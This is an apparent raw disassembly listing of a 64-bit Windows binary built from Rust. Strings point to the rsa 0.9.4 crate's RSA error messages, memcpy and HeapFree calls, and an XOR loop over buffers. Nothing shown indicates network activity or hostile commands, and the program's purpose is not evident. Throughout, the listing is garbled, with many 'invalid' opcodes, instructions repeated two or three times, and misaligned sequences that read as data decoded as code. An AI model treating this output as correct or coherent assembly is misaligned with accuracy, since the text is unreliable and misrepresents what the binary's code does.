shl eax, 8
or eax, ecx
movzx ecx, byte [rsp + 0x38]
and al, 0x38
and al, 0x38
cmp byte [rcx], cl
or ecx, eax
mov dword [rdx + rsi], ecx
mov rsi, r15
mov esi, edi
ror dword [rcx - 0x76b3cdf4], 0xfe
mov esi, edi
inc byte [rcx + 0xf]
mov dh, 0x47
push 0xfffffffff8b60f44
movzx eax, byte [r15 + 0x68]
movzx r15d, al
movzx edi, al
mov dh, 0xf8
push 0xfffffffff8b60f44
mov dh, 0xf8
clc
mov r8d, 0x40
sub r8, r15
mov r13, r12
mov ebp, esp
mov ebp, esp
sub r13, r8
jae case.0x140041cc2.239
invalid
mov rax, qword [rsp + 0x30]
lea rcx, [rax + r15]
lea ecx, [rax + rdi]
lea ecx, [rax + rdi]
or al, 0x38
mov r8, r12
loopne case.0x140041cc2.236
call sub.VCRUNTIME140.dll_memcpy
push rbp
mov dl, 3
add byte [rbp + 1], cl
invalid
invalid
add r15, r12
mov r12, r15
mov esp, edi
out 0x4d, eax
mov esp, edi
mov r15, rsi
jmp case.0x1400356f8.341
add dword [rax], 0
invalid
add dword [rax], 0
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rbp, rdx
test al, al
je case.0x14004753d.414
invalid
mov rbp, rdx
mov rbp, rdx
add rbp, r8
mov r12, qword [rsp + 0x30]
mov esp, dword [rsp + 0x30]
mov esp, dword [rsp + 0x30]
and al, 0x30
add r15, r12
mov rcx, r15
mov ecx, edi
mov ecx, edi
call sub.VCRUNTIME140.dll_memcpy
mov dl, 3
add eax, dword [rax]
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov ecx, esi
inc qword [rsi + 0x20]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
mov rdx, r12
call fcn.1400715f0
mov r12, r13
fidivr word [rcx - 0x76b30000]
in al, dx
mov esp, ebp
cmp r12, 0x40
cmp esp, 0x40
cld
mov r15, rsi
mov edi, esi
mov r15, rsi
mov edi, esi
jb case.0x140041cc2.242
mov r8, r12
mov eax, esp
shr r8, 6
add qword [r15 + 0x20], r8
add dword [rdi + 0x20], eax
and byte [r9 + r9*4 - 7], r9b
call 0x18707a92e
and byte [rcx + rcx*4 - 7], cl
and byte [r9 + r9*4 - 7], r9b
stc
mov rdx, rbp
call fcn.1400715f0
mov rax, r12
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
and r12d, 0x3f
and esp, 0x3f
add rbp, rax
mov rcx, qword [rsp + 0x30]
and al, 0x30
mov ecx, dword [rsp + 0x30]
mov rdx, rbp
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov cl, 3
add byte [rax - 0x75], cl
invalid
invalid
mov rbp, qword [rsp + 0x70]
mov ebp, dword [rsp + 0x70]
insb byte [rdi], dx
and al, 0x70
invalid
jo case.0x14003e0a6.296
mov r13, qword [rsp + 0x50]
mov ebp, dword [rsp + 0x50]
and al, 0x50
push rax
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
int 0x36
add al, 0
invalid
add byte [rbp - 0x78], al
push 0xffffffffe8f9894c
mov rcx, r15
invalid
mov byte [r15 + 0x68], r12b
mov rcx, r15
mov ecx, edi
call fcn.140007d80
test rdx, rdx
test edx, edx
adc dword [rcx], esp
cli
dec dword [rax - 0x7b]
test edx, edx
je 0x140065cf0
invalid
je 0x140065cf0
jl 0x140065cbd
cmp rdi, rbx
cmp edi, ebx
mov r12, qword [rsp + 0x48]
mov esp, dword [rsp + 0x48]
jae 0x140065d50
or esi, 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
mov ecx, edi
mov r9, rdi
mov ecx, edi
not r9
not ecx
add r9, rbx
lea rcx, [rdx - 1]
cmp r9, rcx
cmp ecx, ecx
mov r8, rcx
cmovb r8, r9
cmovb eax, ecx
cmovb eax, ecx
ror dword [rcx - 1], 0xc0
inc r8
ror byte [rcx - 0x7d], 0xf8
cmp r8, 0x20
jb 0x140065cc9
and byte [rdx + 0x27], dh
lea r10, [r14 + rdi]
lea edx, [rsi + rdi]
adc al, 0x3e
cmp r9, rcx
cmp ecx, ecx
cmovb rcx, r9
lea r9, [rax + rcx]
lea ecx, [rax + rcx]
lea ecx, [rax + rcx]
or al, 8
inc r9
ror dword [rbp + 0x39], 0xca
cmp r10, r9
jae case.0x140047968.108
mov r9, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
and al, 0x68
push 0x4cf90149
add r9, rdi
add ecx, edi
add rcx, r9
add ecx, ecx
cmp rax, rcx
enter 0x2e73, 0x31
leave
jae case.0x140047968.108
xor ecx, ecx
inc rcx
nop
nop
movzx r8d, byte [rax + rcx - 1]
mov dh, 0x44
or bh, bh
or dil, r15b
xor byte [r14 + rdi], r8b
inc rdi
inc edi
inc edi
cmp rcx, rdx
cmp ecx, edx
sal dword [rbx + 0x6e], 1
jae 0x140065d50
inc rcx
cmp rdi, rbx
cmp edi, ebx
cmp edi, ebx
jb 0x140065cd0
jmp 0x140065d50
nop dword fs:[rax]
mov r12, qword [rsp + 0x48]
jmp 0x140065d50
mov rcx, r8
and rcx, 0xffffffffffffffe0
loope case.0x140046e3e.239
loope case.0x140046e3e.239
mov r9, qword [rsp + 0x60]
and al, 0x60
add r9, rdi
stc
add rdi, rcx
xor r10d, r10d
xor edx, edx
ror byte [rdi], cl
invalid
invalid
invalid
add byte [rdx + 0xf], al
add byte [rdx + 0xf], al
movups xmm0, xmmword [rax + r10]
adc byte [rax + rdx], al
add al, 0x10
movups xmm1, xmmword [rax + r10 + 0x10]
movups xmm1, xmmword [rax + rdx + 0x10]
adc byte [rax + rdx + 0x10], cl
adc byte [rax], dl
adc byte [rbx + 0xf], al
adc byte [rcx + rdx - 0x10], dl
movups xmm2, xmmword [r9 + r10 - 0x10]
invalid
xorps xmm2, xmm0
movups xmm0, xmmword [r9 + r10]
adc byte [rcx + rdx], al
invalid
rol byte [rbx + 0xf], 1
adc byte [rcx + rdx], al
invalid
xorps xmm0, xmm1
movups xmmword [r9 + r10 - 0x10], xmm2
movups xmmword [rcx + rdx - 0x10], xmm2
movups xmmword [rcx + rdx - 0x10], xmm2
invalid
movups xmmword [r9 + r10], xmm0
adc dword [rcx - 0x7d], ecx
ret 0x4c20
invalid
add r10, 0x20
add edx, 0x20
cmp rcx, r10
jne 0x140065d10
ror byte [rcx + 0x39], 1
enter 0xffffffffffff8675, 0x66
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
cmp r8, rcx
jne 0x140065ccb
xchg byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
nop dword [rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
inc r13b
jne case.0x140048458.57
mov ecx, dword [rsp + 0x2c]
and al, 0x2c
inc cl
mov dword [rsp + 0x2c], ecx
jne case.0x140048458.57
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
add cl, 1
mov qword [rsp + 0x40], rcx
and al, 0x40
and al, 0x40
and al, 0x40
mov rcx, qword [rsp + 0x38]
adc cl, 0
rol dword [rax], 1
rol dword [rax], 1
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x2c], 0
sub al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
test rdx, rdx
je 0x140065af0
test byte [rbp + rdi*8 - 1], ah
std
invalid
dec dword [rax - 0x75]
or eax, 0x8a48d
invalid
movsb byte [rdi], byte [rsi]
or byte [rax], al
invalid
test rdx, rdx
je 0x140065af0
test byte [rbp + rdi*8 - 1], ah
std
invalid
invalid
std
invalid
mov rcx, qword [0x1400f0220]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
sar bh, 0xd6
xor edx, edx
mov r8, rax
call rsi
jmp 0x140065af0
push rcx
std
invalid
add rsp, 0x78
pop rbx
invalid
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
ret
mov ecx, 1
add byte [rax], al
mov rdx, r12
mov edx, esp
loop 0x140065da1
call fcn.1400a42a0
jrcxz case.0x14004bb40.38
add eax, dword [rax]
ud2
call fcn.14003bdd0
ud2
or al, 0x60
std
dec dword [rdi]
or ecx, dword [rax - 0x73]
lea rcx, str.assertion_failed:_out.len___as_u64___MAX_LENC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.4_src_algorithmsmgf.rs
or eax, 0x74c03
invalid
lea r8, [0x1400daa68]
add eax, 0x74c94
invalid
add byte [rdx + 0x2d], bh
mov edx, 0x2d
add byte [rax], al
call fcn.1400a4530
out 3, eax
add byte [rdi], cl
or ecx, dword [rax - 0x7d]
in al, dx
ud2
push 0x4c018b48
lea eax, [0x1400e7058]
push 0x12
or byte [rax], al
invalid
add dword [rbp + rcx*4 + 5], ecx
lea r8, [0x1400e7058]
push 0x12
or byte [rax], al
invalid
add byte [rcx + 0x63], cl
add al, 0x80
movsxd rax, dword [r8 + rax*4]
invalid
add rax, r8
add eax, eax
jmp rax
lea rax, str.invalid_padding_scheme
jmp 0x140065f2f
sub al, 1
add byte [rax], al
invalid
invalid
sub al, 1
add byte [rax], al
lea rax, str.decryption_error
lea eax, [0x1400daab8]
invalid
jmp 0x140065f2f
and byte [rcx], al
add byte [rax], al
lea rax, str.verification_error
jmp 0x140065f2f
adc al, 1
add byte [rax], al
invalid
invalid
adc al, 1
add byte [rax], al
invalid
add byte [rax - 0x73], cl
add eax, 0x74cde
invalid
invalid
invalid
lea rax, str.message_too_long
lea eax, [0x1400dab00]
invalid
jmp 0x140065f2f
or byte [rcx], al
add byte [rax], al
lea rax, str.input_must_be_hashed
jmp 0x140065f2f
cld
add byte [rax], al
invalid
cli
invalid
cld
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x74d16
invalid
invalid
invalid
lea rax, str.nprimes_must_be___2
invalid
jmp 0x140065f2f
lock add byte [rax], al
add byte [rax - 0x73], cl
lea rax, str.too_few_primes_of_given_length_to_generate_an_RSA_key
lea rax, str.too_few_primes_of_given_length_to_generate_an_RSA_key
lea eax, [0x1400dab98]
invalid
jmp 0x140065f2f
in al, 0
add byte [rax], al
invalid
add byte [rax - 0x73], cl
add eax, 0x74d6e
outsb dx, byte [rsi]
invalid
invalid
invalid
lea rax, str.invalid_prime_value
invalid
jmp 0x140065f2f
fadd dword [rax]
add byte [rax], al
lea rax, str.invalid_modulus
lea eax, [0x1400dabe0]
jmp 0x140065f2f
int3
lea rax, str.invalid_exponent
jmp 0x140065f2f
rol byte [rax], 0
invalid
invalid
rol byte [rax], 0
add byte [rax - 0x73], cl
lea rax, str.invalid_coefficient
lea rax, str.invalid_coefficient
jmp 0x140065f2f
lea rax, str.modulus_too_large
lea eax, [0x1400dac50]
jmp 0x140065f2f
add byte [rax - 0x73], cl
add eax, 0x74df2
invalid
lea rax, str.public_exponent_too_small
jmp 0x140065f2f
add byte [rax - 0x73], cl
add eax, 0x74e16
invalid
invalid
invalid
invalid
lea rax, str.public_exponent_too_large
jmp 0x140065f2f
add rcx, 8
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x50], ecx
mov dword [rsp + 0x50], ecx
and al, 0x50
lea rax, [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea rax, [0x140065f70]
add eax, 0xb7
jmp 0x140065ed5
add bl, ch
sbb cl, byte [rax - 0x7d]
invalid
invalid
add rcx, 8
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x50], ecx
and al, 0x50
ror dword [rax], 0x48
mov dword [rsp + 0x50], ecx
and al, 0x50
and al, 0x50
lea rax, [rsp + 0x50]
and al, 0x50
mov qword [rsp + 0x58], rax
pop rax
lea rax, [0x14005e570]
lea eax, [0x14005e570]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
and al, 0x60
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
invalid
add byte [rax - 0x77], cl
and al, 0x20
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], 1
and al, 0x28
add dword [rax], eax
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
pop rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
and al, 0x30
mov qword [rsp + 0x38], 1
jmp 0x140065f51
invalid
lea rax, str.internal_error
lea rax, str.internal_error
jmp 0x140065f2f
lea rax, str.label_too_long
lea eax, [0x1400dacf0]
invalid
jmp 0x140065f2f
adc byte [rax - 0x73], cl
add eax, 0x74df2
lea rax, str.invalid_padding_length
jmp 0x140065f2f
lea rax, str.invalid_arguments
add eax, 0x74e11
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
and al, 0x28
sub byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x7fe3c
sub byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x7fe3c
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
push rdi
invalid
xor byte [rdi], cl
push rdi
ror byte [rdi], 0x11
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x38], xmm0
cmp byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x20]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x20]
lea eax, [rsp + 0x20]
lea eax, [rsp + 0x20]
call fcn.14003e1b0
nop
add rsp, 0x68
ret
invalid
int3
int3
int3
invalid
lea rdx, [0x1400e70a8]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
add eax, edx
jmp rax
invalid
loopne 0x140065fe5
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.InvalidPaddingSchemeDecryptionVerificationMessageTooLongInputNotHashedNprimesTooSmallTooFewPrimesInvalidPrimeInvalidModulusInvalidExponentInvalidCoefficientModulusTooLargePublicExponentTooSmallPublicExponentTooLargePkcs1Pkcs8InternalLabelTooLongInvalidPadLenInvalidArguments_rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_srcops_function.rs
adc eax, 0x74dc9
adc eax, 0x74dc9
mov r8d, 0x14
jmp 0x140066262
test al, 2
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dad8c]
mov r8d, 0xa
add cl, ch
mov al, byte [rdx]
add byte [rax], al
add cl, ch
mov al, byte [rdx]
add byte [rax], al
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x74dab
invalid
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dad96]
invalid
lea edx, [0x1400dad96]
add cl, ch
insb byte [rdi], dx
add al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
invalid
invalid
jmp 0x14006625c
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dada2]
adc eax, 0x74d9f
sbb byte [rax - 0x73], cl
adc eax, 0x74d9f
mov r8d, 0xe
jmp 0x140066262
add cl, ch
push rsp
add al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dadb0]
sbb byte [rax - 0x73], cl
adc eax, 0x74d8f
mov r8d, 0xe
jmp 0x140066262
add byte [rax], al
add cl, ch
add al, byte ss:[rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dadbe]
jg 0x14006608a
invalid
invalid
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dadbe]
jg 0x14006608a
invalid
invalid
jg 0x14006608a
invalid
mov r8d, 0xf
jmp 0x140066262
add byte [rax], al
add cl, ch
sbb byte [rdx], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dadcd]
jmp 0x14006625c
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dadd9]
adc eax, 0x74d64
adc eax, 0x74d64
jmp 0x14006625c
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x74d58
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x74d58
invalid
mov r8d, 0xe
mov eax, 0xe
jmp 0x140066262
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x74d48
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x74d48
mov r8d, 0xf
jmp 0x140066262
lodsb al, byte [rsi]
add dword [rax], eax
invalid
lodsb al, byte [rsi]
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
invalid
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x74d39
sbb byte [rax - 0x73], cl
adc eax, 0x74d39
mov r8d, 0x12
jmp 0x140066262
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x74d2d
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x74d2d
mov r8d, 0xf
jmp 0x140066262
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dae23]
mov r8d, 0x16
jmp 0x140066262
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x74d16
invalid
invalid
invalid
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add cl, ch
xor al, 1
add byte [rax], al
invalid
add rcx, 8
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400dae4f]
mov r8d, 5
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
xor byte [rax + 0x48382444], cl
and al, 0x38
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1400662b0]
jmp case.0x14004bb40.73
invalid
add rcx, 8
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400dae54]
mov r8d, 5
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
je 0x1400661b8
and al, 0x30
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
push rax
sbb byte [rax - 0x77], cl
je 0x1400661b8
invalid
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x39], 0
lea r8, [0x14005eef0]
add eax, 0xffff8d42
add eax, 0xffff8d42
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.14003fc80
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x1400662a1
test cl, dl
add byte [rax], al
invalid
ret
test cl, dl
add byte [rax], al
add byte [rbx + 0xfc98401], dh
test ecx, ecx
add byte [rax], al
add byte [rax - 0x75], cl
invalid
je 0x140066202
mov bl, 1
test cl, cl
jne 0x1400662a3
mov rsi, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
xor byte [rax - 0x7d], cl
clc
add dword [rbp + 0x2d], esi
cmp rax, 1
jne 0x140066212
cmp byte [rsp + 0x39], 0
jl 0x14006620c
cmp dword [rax], eax
je 0x140066212
test byte [rsi + 0x34], 4
jne 0x140066212
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df555]
sub byte [rax - 0x73], cl
adc eax, 0x79354
mov r8d, 1
mov eax, 1
call qword [rax + 0x18]
test al, al
jne 0x1400662a3
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b85]
lea edx, [0x1400e0b85]
lea edx, [0x1400e0b85]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x1400662a3
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dae59]
mov r8d, 8
jmp 0x140066262
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dae61]
mov r8d, 0xc
add rsp, 0x48
pop rbx
pop rsi
jmp rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dae6d]
mov r8d, 0xd
jmp 0x140066262
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400dae7a]
mov r8d, 0x10
jmp 0x140066262
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
add rsp, 0x128
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ret 0x8148
and al, 0x58
mov r8, qword [rsp + 0x60]
jmp 0x140066c86
test r9, r9
je 0x140066c9a
cmp r9, 1
jne 0x140066ef7
mov r8, qword [r8]
jmp 0x140066c9d
xor r8d, r8d
cmp rdx, 5
jb 0x140066caf
mov r11, qword [rsp + 0x58]
mov r10, qword [rsp + 0x60]
jmp 0x140066cb7
lea r10, [rsp + 0x58]
mov r11, rdx
cmp rcx, 5
jb 0x140066d28
mov rdi, qword [rsp + 0x28]
mov r9, qword [rsp + 0x30]
cmp r11, rdi
jb 0x140066d32
invalid
ja 0x140066efd
ja 0x140066efd
lea r10, [r10 + r11*8]
add r10, 0xfffffffffffffff8
shl r11, 3
add ecx, dword [rcx - 9]
fisttp dword [rax - 0x73]
sbb al, 0xfd
add byte [rax], al
add byte [rax], al
fimul dword [rcx - 0x7d]
ret 0x49f8
add ecx, dword [rcx - 9]
fisttp dword [rax - 0x73]
sbb al, 0xfd
add byte [rax], al
add byte [rax], al
lea r14, [r9 + rdi*8]
add r14, 0xfffffffffffffff8
neg rbx
xor r15d, r15d
cmp r11, r15
sti
je 0x140066ef7
cmp rbx, r15
je 0x140066ef7
mov r12, qword [r10 + r15]
mov r13, qword [r14 + r15]
cmp r12, r13
jb 0x140066eee
add r15, 0xfffffffffffffff8
cmp r12, r13
jbe 0x140066cf7
jmp 0x140066ef7
lea r9, [rsp + 0x28]
cmp r11, rcx
jae 0x140066d55
test byte [r9], 1
je 0x140066ef7
cmp edx, 5
jb 0x140066e34
invalid
out dx, al
add byte [rax], al
invalid
invalid
mov rdx, qword [rsp + 0x58]
mov edx, dword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
jmp 0x140066e39
ja case.0x14003d841.308
add byte [rax], al
test r11, r11
je case.0x14003d841.308
fisttp dword [rdi]
test byte [rbp + 0x48000001], ch
test ecx, ecx
test rcx, rcx
je case.0x14003d841.308
lea r11, [r10 + r11*8]
lea rdi, [r9 + rcx*8]
lea r14, [r11 - 8]
lea rbx, [rdi - 8]
mov r15, qword [rdi - 8]
cmp qword [r14], r15
jb 0x140066d32
ja case.0x14003d841.308
cmp r14, r10
je case.0x14003d841.308
invalid
invalid
add byte [rcx + rdi - 0x35], cl
cmp rbx, r9
je case.0x14003d841.308
lea r14, [r11 - 0x18]
lea rbx, [rdi - 0x18]
mov r15, qword [rdi - 0x18]
cmp qword [r14], r15
jb 0x140066d32
invalid
invalid
invalid
push rsi
invalid
ja case.0x14003d841.308
add dword [rax], eax
add byte [rbp - 0x73], cl
jae 0x140066dd8
lea rbx, [rdi - 0x20]
mov r15, qword [rdi - 0x20]
cmp qword [r14], r15
cmp dword [rsi], edi
jb 0x140066d32
ja case.0x14003d841.308
cmp r14, r10
je case.0x14003d841.308
cmp rbx, r9
je case.0x14003d841.308
mov r10, qword [r11 - 0x28]
cmp r10, qword [rdi - 0x28]
jb 0x140066d32
add byte [rbp + rcx*4 + 0x4c], cl
and al, 0x58
lea r9, [rsp + 0x58]
test rdx, rdx
je 0x140066ef7
test byte [r9], 1
je 0x140066ef7
invalid
add dword [rdi], ecx
test byte [rbx + 0x49000000], ch
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
invalid
shr r8, 0x21
jne 0x140066ef7
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x28], al
and al, 0x28
movups xmm0, xmmword [rsp + 0x28]
and al, 0x28
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
and al, 0x48
and al, 0x48
movups xmm3, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0xb0], xmm1
sub dword [rsp + 0xb0], ecx
sub dword [rsp + 0xb0], ecx
movaps xmmword [rsp + 0xc0], xmm2
movaps xmmword [rsp + 0xd0], xmm3
sub dword [rsp + 0xd0], ebx
movups xmm1, xmmword [rsp + 0x68]
adc byte [rsp + 0x68], cl
movaps xmmword [rsp + 0xe0], xmm1
mov rcx, qword [rsp + 0x78]
and al, 0x78
and al, 0x78
js 0x140066ee7
mov qword [rsp + 0xf0], rcx
movups xmmword [rsi + 8], xmm0
invalid
and al, 0xf0
add byte [rax], al
add byte [rdi], cl
adc dword [rsi + 8], eax
invalid
or byte [rdi], cl
sub byte [rsp + 0xb0], al
and al, 0xb0
add byte [rax], al
invalid
movaps xmm0, xmmword [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xc0], cl
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmm2, xmmword [rsp + 0xd0]
movaps xmm3, xmmword [rsp + 0xe0]
and al, 0xd0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xe0], bl
movups xmmword [rsi + 0x18], xmm0
movups xmmword [rsi + 0x28], xmm1
movups xmmword [rsi + 0x38], xmm2
movups xmmword [rsi + 0x48], xmm3
mov rcx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xf0]
add byte [rax], al
add byte [rax - 0x77], cl
pop rax
mov qword [rsi + 0x58], rcx
mov qword [rsi], rax
jmp 0x14006664f
test rdi, rdi
jne 0x140066d32
cmp rcx, 5
jb case.0x14003d841.308
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add al, 0
add al, 0
cmp qword [rsp + 0x78], 5
jb 0x140066f2d
mov r8, qword [rsp + 0x60]
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
invalid
mov ecx, dword [0x1400f0220]
sti
xchg edx, eax
or byte [rax], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsi + 8], 4
mov eax, 2
add byte [rax], al
add byte [rax], al
add byte [rax + 2], bh
add byte [rax], al
add byte [rax], al
mov qword [rsi], rax
jmp 0x14006664f
fild dword [rbx]
add byte [rdi], cl
or ecx, esp
int3
sub esp, 0x48
mov rbx, rcx
mov r15, qword [rdx + 0x18]
jp 0x140066f8f
mov rsi, qword [rdx + 0x10]
xor r13d, r13d
mov rax, r15
sub rax, rsi
jb 0x1400672be
invalid
xor al, 3
add byte [rax], al
invalid
mov rdi, rdx
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x40], rcx
cmp r15, rcx
cmp r15, rcx
ja 0x1400672be
mov rcx, qword [rdi]
mov qword [rsp + 0x30], rcx
add rcx, rsi
lea rdx, [rdi + 0x28]
mov qword [rsp + 0x38], rdx
mov r9, qword [rdi + 0x20]
cmp r9, 4
mov qword [rsp + 0x28], r9
sub byte [rdi], cl
xchg byte [rcx + 1], bh
add byte [rax], al
xor r13d, r13d
movabs rdx, 0xfefefefefefefeff
invalid
invalid
invalid
invalid
invalid
invalid
invalid
dec byte [rcx - 0x48]
add byte [rax - 0x7f7f7f80], 0x80
sub bl, 0x16
invalid
nop
mov rax, qword [rsp + 0x30]
lea rcx, [rax + rsi]
mov rax, r15
clc
sub rax, rsi
jb 0x1400672be
leave
add al, byte [rax]
invalid
leave
add al, byte [rax]
add byte [rbx + rcx*4 + 0x54], cl
